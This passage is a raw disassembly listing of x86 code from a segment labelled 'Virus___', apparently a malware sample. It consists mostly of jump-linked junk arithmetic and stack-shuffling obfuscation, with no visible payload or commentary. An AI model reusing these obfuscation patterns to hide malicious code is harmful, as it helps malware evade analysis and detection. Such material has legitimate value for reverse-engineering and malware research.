; ---------------------------------------------------------------------------


loc_580F9F:				; CODE XREF: Virus___:005822DCj
		sub	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_5923F7
; ---------------------------------------------------------------------------


loc_580FA9:				; CODE XREF: Virus___:0057F7E0j
		pop	esp
		mov	[esp], edx
		mov	edx, 0EBA3C6Eh
		xor	[esp+4], edx
		pop	edx
		jmp	loc_582F0F
; ---------------------------------------------------------------------------


loc_580FBC:				; CODE XREF: Virus___:00582E9Ej
		push	edx
		mov	dl, 0D3h
		sub	dl, 0D2h
		add	bh, dl
		pop	edx
		add	bh, 80h
		xor	bh, 12h
		push	edx
		mov	dh, bh
		mov	ch, dh
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	ah, ch
		mov	dh, ah
		pop	eax
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xor	ch, dh
		pop	edx
		jmp	loc_593FCD
; ---------------------------------------------------------------------------


loc_580FF8:				; CODE XREF: Virus___:00581963j
		push	7A07h
		mov	[esp], ebx
		mov	bl, dl
		mov	cl, bl
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		add	cl, 1
		push	ecx
		xchg	ah, [esp]
		jmp	loc_583D7B
; ---------------------------------------------------------------------------


loc_58101A:				; CODE XREF: Virus___:0058E8BCj
		pop	ebx
		dec	ebp
		jmp	loc_584C1E
; ---------------------------------------------------------------------------


loc_581021:				; CODE XREF: Virus___:005815EAj
		add	esp, 4
		add	al, bh
		mov	ebx, [esp]
		jmp	loc_594153
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_58E884
; ---------------------------------------------------------------------------


loc_581040:				; CODE XREF: Virus___:0058BFEDj
		push	dword ptr [esp]
		pop	eax
		push	7AA9h
		mov	[esp], ebp
		jmp	loc_592EB3
; ---------------------------------------------------------------------------


loc_581051:				; CODE XREF: Virus___:00581287j
		mov	ebp, 2FB2578Ch
		add	ebp, 7DC20F88h
		push	ebx
		mov	ebx, 54D07535h
		push	ebp
		mov	ebp, 33C44BD0h
		xor	ebx, ebp
		pop	ebp
		not	ebx
		shl	ebx, 3
		sub	ebx, 6E4A9AA6h
		jmp	loc_585EED
; ---------------------------------------------------------------------------


loc_58107B:				; CODE XREF: Virus___:0059096Cj
		add	ebx, 9DA9130Ch
		jmp	loc_587757
; ---------------------------------------------------------------------------


loc_581086:				; CODE XREF: Virus___:00589C67j
		mov	[esp], ecx
		mov	ch, dl
		mov	al, ch
		pop	ecx
		push	edx
		jmp	loc_592284
; ---------------------------------------------------------------------------


loc_581094:				; CODE XREF: Virus___:00591A3Cj
		not	eax
		inc	eax
		sub	eax, 0A246C3AEh
		jmp	loc_58F271
; ---------------------------------------------------------------------------


loc_5810A1:				; CODE XREF: Virus___:0058294Cj
		xor	ebp, 0D0D9D97Eh
		sub	eax, ebp
		jmp	loc_581BA3
; ---------------------------------------------------------------------------


loc_5810AE:				; CODE XREF: Virus___:0058F4BCj
		push	edx
		mov	dl, 22h
		sub	dl, 81h
		inc	dl
		jmp	loc_580499
; ---------------------------------------------------------------------------


loc_5810BB:				; CODE XREF: Virus___:00581BACj
		sub	eax, 1FD527A3h
		push	3C7h
		mov	[esp], ecx
		mov	ecx, 33061CF8h
		jmp	loc_5885E2
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], ax
		pushf
		jmp	loc_58AA51
; ---------------------------------------------------------------------------


loc_5810E2:				; CODE XREF: Virus___:005925B0j
		mov	ebp, esi
		pop	esi
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [edx]
		pop	ecx
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, 4
		sub	edi, eax
		jmp	loc_5932C1
; ---------------------------------------------------------------------------


loc_581109:				; CODE XREF: Virus___:0058D17Dj
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_593E89
; ---------------------------------------------------------------------------


loc_581117:				; CODE XREF: Virus___:00586FD4j
		pop	ecx
		jmp	loc_58EF15
; ---------------------------------------------------------------------------


loc_58111D:				; CODE XREF: Virus___:00592988j
		mov	[esp], ebx
		mov	ebx, 4
		sub	ebp, 5407680Dh
		sub	ebp, 61EF31EEh
		jmp	loc_58677C
; ---------------------------------------------------------------------------


loc_581136:				; CODE XREF: Virus___:00581946j
		mov	edx, 456E2DFDh
		dec	edx
		add	edx, 0FD38F0h
		and	edx, 14D1493Eh
		shl	edx, 4
		or	edx, 30270AD4h
		add	edx, 8BC8F530h
		add	esi, edx
		jmp	loc_58C819
; ---------------------------------------------------------------------------


loc_58115E:				; CODE XREF: Virus___:00593571j
		sub	edx, edi
		jmp	loc_58E51B
; ---------------------------------------------------------------------------


loc_581165:				; CODE XREF: Virus___:0058879Dj
		add	ebx, edx
		pop	edx
		push	ebx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_58F5DA
; ---------------------------------------------------------------------------


loc_581177:				; CODE XREF: Virus___:00587E16j
		sub	dl, 0B8h
		xor	dl, 88h
		mov	cl, dl
		pop	edx
		shl	cl, 5
		shr	cl, 7
		sub	cl, 4Eh
		add	al, 1Ah
		sub	al, cl
		jmp	loc_593CE5
; ---------------------------------------------------------------------------


loc_581192:				; CODE XREF: Virus___:005860BDj
		pop	ebp
		add	ebp, 4
		jmp	loc_58854F
; ---------------------------------------------------------------------------


loc_58119E:				; CODE XREF: Virus___:00588F3Dj
		mov	ebx, 74290C0Bh
		not	ebx
		jmp	loc_57F3FF
; ---------------------------------------------------------------------------


loc_5811AA:				; CODE XREF: Virus___:00588944j
		push	468Fh
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_58DAAA
; ---------------------------------------------------------------------------


loc_5811C0:				; CODE XREF: Virus___:0059201Cj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_59215C
; ---------------------------------------------------------------------------


loc_5811CC:				; CODE XREF: Virus___:0058D514j
		mov	edx, [esp]
		push	edi
		push	esp
		pop	edi
		jmp	loc_592C83
; ---------------------------------------------------------------------------


loc_5811D7:				; CODE XREF: Virus___:00582A10j
		xchg	ecx, [esp]
		jmp	loc_588847
; ---------------------------------------------------------------------------


loc_5811DF:				; CODE XREF: Virus___:00591B53j
		xor	edx, 2D2F2684h
		add	edx, 4901291Ah
		shr	edx, 1
		dec	edx
		push	esi
		mov	esi, 4788CA78h
		xor	edx, esi
		pop	esi
		sub	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_58AE98
; ---------------------------------------------------------------------------


loc_581204:				; CODE XREF: Virus___:0057F3ADj
		pop	ecx
		sub	ebp, 6B743702h
		add	ebp, edi
		add	ebp, 6B743702h
		add	ebp, 3E0F611Bh
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_582AA2
; ---------------------------------------------------------------------------


loc_581233:				; CODE XREF: Virus___:005913A1j
		push	edx
		mov	edx, 637410Eh
		or	edx, 608D608Ch
		neg	edx
		xor	edx, 99409E76h
		push	edx
		xor	dword ptr [esp], 411D16D2h
		pop	ecx
		jmp	loc_583AB4
; ---------------------------------------------------------------------------


loc_581255:				; CODE XREF: Virus___:00593F1Bj
		shr	ebx, 6
		not	ebx
		jmp	loc_59416F
; ---------------------------------------------------------------------------


loc_58125F:				; CODE XREF: Virus___:00589CCFj
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	5535h
		mov	[esp], ebp
		push	edi
		push	34313C37h
		pop	edi
		not	edi
		push	ebp
		jmp	loc_581051
; ---------------------------------------------------------------------------


loc_58128C:				; CODE XREF: Virus___:0058D4E2j
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_58902E
; ---------------------------------------------------------------------------


loc_58129A:				; CODE XREF: Virus___:0058760Aj
		add	ecx, 2
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_59294D
; ---------------------------------------------------------------------------


loc_5812AB:				; CODE XREF: Virus___:0058630Cj
		mov	esi, 2B84005Fh
		jmp	loc_588ECF
; ---------------------------------------------------------------------------


loc_5812B5:				; CODE XREF: Virus___:0058620Dj
		push	edi
		pop	eax
		pop	edi
		push	edi
		mov	edi, 0F714D01h
		dec	edi
		inc	edi
		dec	edi
		xor	edi, 66917B4Dh
		and	eax, edi
		jmp	loc_58A8E3
; ---------------------------------------------------------------------------


loc_5812CE:				; CODE XREF: Virus___:0057F73Cj
		inc	esi
		and	esi, 786824DEh
		jmp	loc_581999
; ---------------------------------------------------------------------------


loc_5812DA:				; CODE XREF: Virus___:005844E7j
		push	ebp
		push	5B62599Fh
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5905D5
; ---------------------------------------------------------------------------


loc_5812EB:				; CODE XREF: Virus___:005893B2j
		pop	esi
		add	ecx, ebp
		mov	ebp, [esp]
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_5875F7
; ---------------------------------------------------------------------------


loc_5812F9:				; CODE XREF: Virus___:00589322j
		mov	esi, 5B74551Ah
		xor	eax, esi
		pop	esi
		add	ebp, 73907A9Bh
		add	ebp, eax
		sub	ebp, 73907A9Bh
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_592CFA
; ---------------------------------------------------------------------------


loc_581327:				; CODE XREF: Virus___:00589015j
		xor	esi, 2DC3278Ah
		jmp	loc_585768
; ---------------------------------------------------------------------------


loc_581332:				; CODE XREF: Virus___:0058AC17j
		mov	edi, 2
		push	ebp
		mov	ebp, 134C3B00h
		dec	ebp
		jmp	loc_58ACAC
; ---------------------------------------------------------------------------


loc_581343:				; CODE XREF: Virus___:0058FD24j
		sub	eax, 0B495756h
		jmp	loc_58A6CE
; ---------------------------------------------------------------------------


loc_58134D:				; CODE XREF: Virus___:00584ACAj
		mov	ebp, edi
		pop	edi
		push	esi
		mov	esi, 1F1307A3h
		jmp	loc_58DC37
; ---------------------------------------------------------------------------


loc_58135B:				; CODE XREF: Virus___:005844C2j
		mov	esp, [esp]
		push	ebp
		jmp	loc_5805F9
; ---------------------------------------------------------------------------


loc_581364:				; CODE XREF: Virus___:0058A893j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		jmp	loc_592EF4
; ---------------------------------------------------------------------------


loc_581371:				; CODE XREF: Virus___:0058F10Aj
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_5910E2
; ---------------------------------------------------------------------------


loc_581382:				; CODE XREF: Virus___:005940F0j
		xor	ebp, edx
		xor	edx, ebp
		xor	ebp, edx
		inc	ebp
		xor	ebp, 72E4164Fh
		push	edx
		mov	edx, 304428E1h
		dec	edx
		sub	edx, 443ECDC1h
		sub	ebp, edx
		pop	edx
		mov	edx, ebp
		jmp	loc_57F8E2
; ---------------------------------------------------------------------------


loc_5813A6:				; CODE XREF: Virus___:00594420j
		mov	[esp], edi
		jmp	loc_5881F8
; ---------------------------------------------------------------------------


loc_5813AE:				; CODE XREF: Virus___:0057FE98j
		add	ecx, eax
		sub	esp, 4
		jmp	loc_582A41
; ---------------------------------------------------------------------------


loc_5813B8:				; CODE XREF: Virus___:005802CAj
		push	3D7Bh
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	1EC4h
		mov	[esp], eax
		push	ebp
		mov	ebp, 5A1B120Bh
		mov	eax, ebp
		pop	ebp
		shr	eax, 8
		sub	eax, offset word_5A1B0E
		add	ebp, eax
		jmp	loc_593661
; ---------------------------------------------------------------------------


loc_5813FE:				; CODE XREF: Virus___:0058338Dj
		add	ecx, 126B6040h
		sub	ebp, ecx
		jmp	loc_588DB2
; ---------------------------------------------------------------------------


loc_58140B:				; CODE XREF: Virus___:00582915j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 66C72CFEh
		shr	esi, 3
		jmp	loc_583AAC
; ---------------------------------------------------------------------------


loc_58141E:				; CODE XREF: Virus___:005928C5j
		inc	eax
		shl	eax, 1
		xor	eax, 9891B352h
		mov	ecx, eax
		pop	eax
		add	eax, ecx
		mov	ecx, [esp]
		jmp	loc_5893D3
; ---------------------------------------------------------------------------


loc_581433:				; CODE XREF: Virus___:00583F60j
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		jmp	loc_581AAD
; ---------------------------------------------------------------------------


loc_58144F:				; CODE XREF: Virus___:0058669Dj
		mov	edi, 3FCh
		mov	esi, edi
		mov	edi, [esp]
		add	esp, 4
		push	156Ch
		mov	[esp], eax
		push	ebx
		push	esi
		mov	esi, 0CFE2277h
		shr	esi, 3
		shl	esi, 6
		push	esi
		neg	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		or	esi, 74EC7737h
		jmp	loc_581794
; ---------------------------------------------------------------------------


loc_581489:				; CODE XREF: Virus___:0059109Ej
		add	ebp, 6C00317h
		jmp	loc_593F42
; ---------------------------------------------------------------------------


loc_581494:				; CODE XREF: Virus___:005824CCj
		mov	edx, 20D6078Fh
		xor	edx, 38D765E7h
		jmp	loc_589625
; ---------------------------------------------------------------------------


loc_5814A4:				; CODE XREF: Virus___:0058524Dj
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_58F0F7
; ---------------------------------------------------------------------------


loc_5814B1:				; CODE XREF: Virus___:0058DF4Cj
		not	ecx
		push	eax
		push	ecx
		jmp	loc_580C58
; ---------------------------------------------------------------------------


loc_5814BA:				; CODE XREF: Virus___:0058CB8Fj
		sub	eax, 5AFA677Fh
		jmp	loc_586EFD
; ---------------------------------------------------------------------------


loc_5814C4:				; CODE XREF: Virus___:0058037Ej
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_588CE6
; ---------------------------------------------------------------------------


loc_5814D4:				; CODE XREF: Virus___:0058AE0Ej
		mov	[esp], ecx
		jmp	loc_58CE8E
; ---------------------------------------------------------------------------


loc_5814DC:				; CODE XREF: Virus___:00585E14j
		mov	esp, [esp]
		idiv	ecx
		jmp	loc_587837
; ---------------------------------------------------------------------------


loc_5814E6:				; CODE XREF: Virus___:0058314Aj
		not	edi
		xchg	edi, [esp]
		jmp	loc_592C6E
; ---------------------------------------------------------------------------


loc_5814F0:				; CODE XREF: Virus___:00580D25j
		mov	dl, ah
		pop	eax
		sub	bh, dl
		pop	dx
		xor	al, bh
		pop	ebx
		jmp	loc_5871FF
; ---------------------------------------------------------------------------


loc_5814FF:				; CODE XREF: Virus___:00588173j
		sub	ecx, 11492A02h
		add	ecx, edi
		add	ecx, 11492A02h
		pop	edi
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	edx
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	777Dh
		mov	[esp], ecx
		push	ebp
		mov	ebp, 47304C3Ah
		mov	ecx, ebp
		pop	ebp
		sub	ecx, 47304C36h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 5F565F68h
		add	ebp, eax
		pop	eax
		sub	ebp, 1CB562ACh
		add	ebp, ecx
		add	ebp, 1CB562ACh
		push	ecx
		mov	ecx, 5F565F68h
		sub	ebp, 6895027Eh
		sub	ebp, ecx
		push	edi
		mov	edi, 71A95A11h
		sub	edi, 215A215Ah
		jmp	loc_582DEC
; ---------------------------------------------------------------------------


loc_581578:				; CODE XREF: Virus___:00589834j
		push	eax
		mov	eax, esp
		jmp	loc_58EBF7
; ---------------------------------------------------------------------------


loc_581580:				; CODE XREF: Virus___:005898E5j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		jmp	loc_583455
; ---------------------------------------------------------------------------


loc_581595:				; CODE XREF: Virus___:0058C887j
		add	esp, 4
		pop	ecx
		pop	ebx
		pop	ecx
		pop	ebx
		xor	al, dh
		mov	dx, [esp]
		push	ecx
		push	esp
		jmp	loc_591ED4
; ---------------------------------------------------------------------------


loc_5815AC:				; CODE XREF: Virus___:0058708Dj
		push	dword ptr [esp]
		mov	edx, [esp]
		push	6F22h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_594425
; ---------------------------------------------------------------------------


loc_5815C1:				; CODE XREF: Virus___:00582FC6j
		dec	ah
		xor	ah, 5
		sub	ch, ah
		pop	eax
		shl	ch, 4
		add	ch, 0F0h
		shl	ch, 1
		push	small 1D4Ch
		mov	[esp], dx
		mov	dh, 88h
		or	ch, dh
		pop	dx
		xor	ch, 0ECh
		add	dl, ch
		pop	ecx
		mov	bh, dl
		mov	edx, [esp]
		jmp	loc_581021
; ---------------------------------------------------------------------------
		push	6939h
		mov	[esp], esi
		jmp	loc_58C21A
; ---------------------------------------------------------------------------


loc_5815FC:				; CODE XREF: Virus___:005925FAj
		xor	edi, 68054688h
		xor	edi, 5EFFA2BCh
		push	edi
		xor	dword ptr [esp], 6F7721Ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_580114
; ---------------------------------------------------------------------------


loc_58161B:				; CODE XREF: Virus___:005824FEj
		push	edx
		jmp	loc_58CFDF
; ---------------------------------------------------------------------------


loc_581621:				; CODE XREF: Virus___:00591037j
		sub	ebx, 92CFFBFAh
		add	ebp, ebx
		pop	ebx
		push	ebx
		mov	ebx, 247B0521h
		shl	ebx, 1
		push	ebp
		jmp	loc_59188C
; ---------------------------------------------------------------------------


loc_581638:				; CODE XREF: Virus___:00582887j
		not	eax
		xor	eax, 31252AE0h
		jmp	loc_58DA4A
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_58F755
; ---------------------------------------------------------------------------


loc_58164C:				; CODE XREF: Virus___:00583FEEj
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_58DF1A
; ---------------------------------------------------------------------------


loc_581657:				; CODE XREF: Virus___:0058D619j
		or	ecx, edi
		jmp	loc_586AA0
; ---------------------------------------------------------------------------


loc_58165E:				; CODE XREF: Virus___:0058658Aj
		add	esi, eax
		jmp	loc_594167
; ---------------------------------------------------------------------------


loc_581665:				; CODE XREF: Virus___:00580CCAj
		mov	ebx, edx
		pop	edx
		push	ecx
		mov	ecx, 70AA1026h
		sub	ecx, 5AFC5F52h
		jmp	loc_5849AE
; ---------------------------------------------------------------------------


loc_581679:				; CODE XREF: Virus___:0058304Fj
		push	eax
		push	ebp
		jmp	loc_588F2F
; ---------------------------------------------------------------------------


loc_581680:				; CODE XREF: Virus___:00591C5Fj
		pop	ebp
		mov	ebp, [esp]
		jmp	loc_584833
; ---------------------------------------------------------------------------


loc_581689:				; CODE XREF: Virus___:00593F6Dj
		shl	edi, 4
		jmp	loc_58E64C
; ---------------------------------------------------------------------------


loc_581691:				; CODE XREF: Virus___:00591D61j
		xchg	edx, [esp]
		jmp	loc_586FFA
; ---------------------------------------------------------------------------


loc_581699:				; CODE XREF: Virus___:00586094j
		push	20Bh
		jmp	loc_594065
; ---------------------------------------------------------------------------


loc_5816A3:				; CODE XREF: Virus___:00587D3Bj
		push	ebx
		mov	ebx, 2
		add	ebp, ebx
		pop	ebx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_587C38
; ---------------------------------------------------------------------------


loc_5816BB:				; CODE XREF: Virus___:00590417j
		pop	eax
		xor	eax, 107146DEh
		mov	edx, [esp]
		push	eax
		jmp	loc_58789E
; ---------------------------------------------------------------------------


loc_5816CA:				; CODE XREF: Virus___:00592A26j
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		mov	ebp, 2AC60D40h
		shr	ebp, 1
		inc	ebp
		or	ebp, 505724Bh
		not	ebp
		neg	ebp
		sub	ebp, 156776E8h
		jmp	loc_585E84
; ---------------------------------------------------------------------------


loc_5816F4:				; CODE XREF: Virus___:00591F34j
		push	38CE49E0h
		mov	eax, [esp]
		jmp	loc_5937D0
; ---------------------------------------------------------------------------


loc_581701:				; CODE XREF: Virus___:005909B5j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_58E6DA
; ---------------------------------------------------------------------------


loc_581719:				; CODE XREF: Virus___:0058C1E3j
		add	[esp+4], ecx
		pop	ecx
		jmp	loc_582DD2
; ---------------------------------------------------------------------------


loc_581723:				; CODE XREF: Virus___:00584DB1j
		pop	ebp
		add	[esp+4], ecx
		add	dword ptr [esp+4], 54FF03CCh
		push	edi
		mov	edi, 47B01CDDh
		add	[esp+8], edi
		pop	edi
		sub	dword ptr [esp+4], 4A8C7C1Ah
		pop	ecx
		pop	dword ptr [eax]
		push	ebx
		mov	ebx, 6FAE3143h
		sub	[eax], ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_57FA6C
; ---------------------------------------------------------------------------


loc_581757:				; CODE XREF: Virus___:0058E40Bj
		pop	esp
		mov	[esp], ebx
		jmp	loc_59332F
; ---------------------------------------------------------------------------


loc_581760:				; CODE XREF: Virus___:0058E832j
		mov	[esp], ebp
		mov	ebp, 260D03E4h
		xor	ebp, 6E023BA3h
		xor	ebp, 480F3843h
		add	esi, ebp
		pop	ebp
		push	edx
		mov	edx, 3BD80D21h
		sub	edx, 1
		or	edx, 8940095h
		sub	edx, 3BDC0DB1h
		jmp	loc_5905A5
; ---------------------------------------------------------------------------


loc_581794:				; CODE XREF: Virus___:00581484j
		add	esi, 523B5AD8h
		jmp	loc_591958
; ---------------------------------------------------------------------------


loc_58179F:				; CODE XREF: Virus___:00581F82j
		xor	ebp, eax
		pop	eax
		sub	ecx, ebp
		pop	ebp
		pop	ebp
		jmp	loc_585DF9
; ---------------------------------------------------------------------------


loc_5817AB:				; CODE XREF: Virus___:005821F4j
		xor	ebp, 2BB0654h
		add	ebp, 78083CCEh
		jmp	loc_586306
; ---------------------------------------------------------------------------


loc_5817BC:				; CODE XREF: Virus___:00586EEDj
		add	cl, 0B2h
		shl	cl, 4
		and	cl, 5
		sub	cl, 4Dh
		jmp	loc_582E93
; ---------------------------------------------------------------------------


loc_5817CD:				; CODE XREF: Virus___:0058850Aj
		push	ebp
		mov	ebp, 18244605h
		not	ebp
		jmp	loc_58B0CB
; ---------------------------------------------------------------------------


loc_5817DA:				; CODE XREF: Virus___:0059006Dj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_58518B
; ---------------------------------------------------------------------------


loc_5817E8:				; CODE XREF: Virus___:0058C9E0j
		mov	eax, 7CF177EBh
		shl	eax, 6
		shl	eax, 7
		add	eax, 0ED84AED3h
		and	ebp, eax
		pop	eax
		inc	ebp
		add	ebp, 35C954B7h
		sub	ebx, 58153C9Eh
		sub	ebx, ebp
		add	ebx, 58153C9Eh
		mov	ebp, [esp]
		add	esp, 4
		sub	ebx, 607954BFh
		push	edi
		mov	edi, 804251Ch
		add	ebx, 307733A5h
		jmp	loc_58F038
; ---------------------------------------------------------------------------


loc_58182D:				; CODE XREF: Virus___:0058A6C9j
		sub	dword ptr [esp+4], 45FA5D01h
		push	eax
		jmp	loc_593C42
; ---------------------------------------------------------------------------


loc_58183B:				; CODE XREF: Virus___:0059343Fj
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		jmp	loc_584787
; ---------------------------------------------------------------------------


loc_581853:				; CODE XREF: Virus___:0058B8B3j
		mov	bh, 8Ah
		mov	dl, 59h
		xor	dl, bh
		pop	ebx
		push	ebx
		mov	bl, 0CCh
		sub	dl, bl
		pop	ebx
		add	ah, 0C9h
		add	ah, dl
		push	edx
		mov	dh, 0C0h
		inc	dh
		inc	dh
		not	dh
		sub	dh, 5Bh
		push	ax
		mov	ah, 19h
		sub	dh, ah
		pop	ax
		jmp	loc_58BEFB
; ---------------------------------------------------------------------------


loc_58187E:				; CODE XREF: Virus___:00593F44j
		sub	ebp, 6C00317h
		push	eax
		mov	eax, 591E2DFCh
		jmp	loc_582BB0
; ---------------------------------------------------------------------------


loc_58188F:				; CODE XREF: Virus___:00590990j
		pop	ecx
		push	esi
		push	esp
		pop	esi
		push	ecx
		push	7DA3h
		jmp	loc_589B83
; ---------------------------------------------------------------------------


loc_58189E:				; CODE XREF: Virus___:0058BF36j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_58F8A5
; ---------------------------------------------------------------------------


loc_5818B6:				; CODE XREF: Virus___:00591476j
		pop	ebp
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_58E0F6
; ---------------------------------------------------------------------------


loc_5818C5:				; CODE XREF: Virus___:0058E132j
		add	esp, 4
		add	ebx, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], edi
		push	eax
		jmp	loc_58F9DA
; ---------------------------------------------------------------------------


loc_5818DA:				; CODE XREF: Virus___:0058A1C3j
		add	ebx, 4
		jmp	loc_58896A
; ---------------------------------------------------------------------------


loc_5818E5:				; CODE XREF: Virus___:0058520Dj
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_5818EA:				; CODE XREF: Virus___:00594243j
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_58E981
; ---------------------------------------------------------------------------


loc_58190A:				; CODE XREF: Virus___:00593227j
		pop	esi
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		jmp	loc_5846C5
; ---------------------------------------------------------------------------


loc_58191E:				; CODE XREF: Virus___:00593454j
		push	edi
		jmp	loc_5917B5
; ---------------------------------------------------------------------------


loc_581924:				; CODE XREF: Virus___:0058EDB6j
		mov	[esp], edi
		push	1
		push	dword ptr [esp]
		pop	edi
		push	67CCh
		mov	[esp], ebp
		jmp	loc_57F833
; ---------------------------------------------------------------------------


loc_58193D:				; CODE XREF: Virus___:0058DB7Ej
		pop	esi
		push	12C9h
		mov	[esp], edx
		jmp	loc_581136
; ---------------------------------------------------------------------------


loc_58194B:				; CODE XREF: Virus___:00582367j
		add	edx, 4
		jmp	loc_58F450
; ---------------------------------------------------------------------------


loc_581956:				; CODE XREF: Virus___:0058F115j
		push	ecx
		push	edx
		mov	dl, 71h
		push	eax
		mov	ah, 0EDh
		and	dl, ah
		pop	eax
		xor	dl, 60h
		jmp	loc_580FF8
; ---------------------------------------------------------------------------


loc_581968:				; CODE XREF: Virus___:00594129j
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_58EAF7
; ---------------------------------------------------------------------------


loc_581978:				; CODE XREF: Virus___:00587660j
		mov	esp, [esp]
		jmp	loc_58C0A9
; ---------------------------------------------------------------------------


loc_581980:				; CODE XREF: Virus___:00592D6Dj
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		not	eax
		not	eax
		push	7111h
		mov	[esp], esi
		jmp	loc_593091
; ---------------------------------------------------------------------------


loc_581999:				; CODE XREF: Virus___:005812D5j
		and	esi, 29ED5786h
		inc	esi
		sub	esi, 0C58AF9DAh
		sub	ebx, esi
		pop	esi
		sub	ecx, ebx
		pop	ebx
		pop	edx
		push	ebp
		jmp	loc_58A7CF
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_5819BB:				; CODE XREF: Virus___:00584CE5j
		sub	edx, 369C192Ch
		jmp	loc_58849F
; ---------------------------------------------------------------------------


loc_5819C6:				; CODE XREF: Virus___:00590637j
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_5819DB:				; CODE XREF: Virus___:0058EC55j
		inc	esi
		jmp	loc_582EBD
; ---------------------------------------------------------------------------


loc_5819E1:				; CODE XREF: Virus___:005918F1j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	ebx
		push	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		push	esp
		jmp	loc_58C3CC
; ---------------------------------------------------------------------------


loc_581A03:				; CODE XREF: Virus___:00585D2Cj
		push	edx
		jmp	loc_584661
; ---------------------------------------------------------------------------


loc_581A09:				; CODE XREF: Virus___:00585E95j
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_5872EC
; ---------------------------------------------------------------------------


loc_581A14:				; CODE XREF: Virus___:00590E04j
		pop	ecx
		dec	dh
		push	eax
		mov	al, 74h
		add	dh, al
		jmp	loc_58621F
; ---------------------------------------------------------------------------


loc_581A21:				; CODE XREF: Virus___:005915D1j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4D4F5096h
		add	eax, esi
		pop	esi
		push	5544h
		mov	[esp], eax
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		add	eax, 2F786F7Ch
		jmp	loc_587B4B
; ---------------------------------------------------------------------------


loc_581A4B:				; CODE XREF: Virus___:00589465j
		add	[ecx], ebx
		jmp	loc_592EA5
; ---------------------------------------------------------------------------


